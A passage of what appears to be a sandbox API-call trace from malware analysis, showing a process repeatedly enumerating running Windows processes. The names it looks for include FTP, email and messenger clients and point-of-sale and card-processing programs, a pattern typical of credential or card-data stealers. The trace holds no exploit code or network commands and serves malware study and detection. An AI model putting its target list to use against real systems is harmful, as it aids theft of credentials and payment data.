th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0295.600] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0295.603] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0295.605] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0295.608] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0295.610] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0295.672] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0295.675] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0295.677] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0295.679] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0295.682] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0295.684] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0295.687] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0295.689] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0295.692] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0295.694] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0295.696] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0295.699] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0295.701] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0295.704] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0295.753] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0295.756] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0295.758] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0295.761] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0295.763] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0295.765] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0295.767] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0295.770] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0295.772] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0295.774] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0295.777] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0295.779] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0295.781] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0295.783] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0295.786] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0295.788] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0295.790] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0295.792] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0295.794] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0295.796] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0295.798] CloseHandle (hObject=0x344) returned 1 [0295.798] Sleep (dwMilliseconds=0x64) [0295.864] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0295.885] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0295.887] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0295.889] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0295.890] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0295.893] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0295.895] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0295.897] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0295.899] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0295.901] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0295.903] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.905] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.907] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0295.957] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.959] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.961] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.964] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.966] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.968] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.970] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.017] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0296.019] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0296.021] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0296.023] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.025] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0296.028] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0296.030] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0296.032] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0296.035] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.083] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0296.086] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0296.088] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0296.090] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0296.092] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0296.094] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0296.120] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0296.122] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0296.125] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0296.127] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0296.129] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0296.131] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0296.133] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0296.136] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0296.138] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0296.140] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0296.142] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night 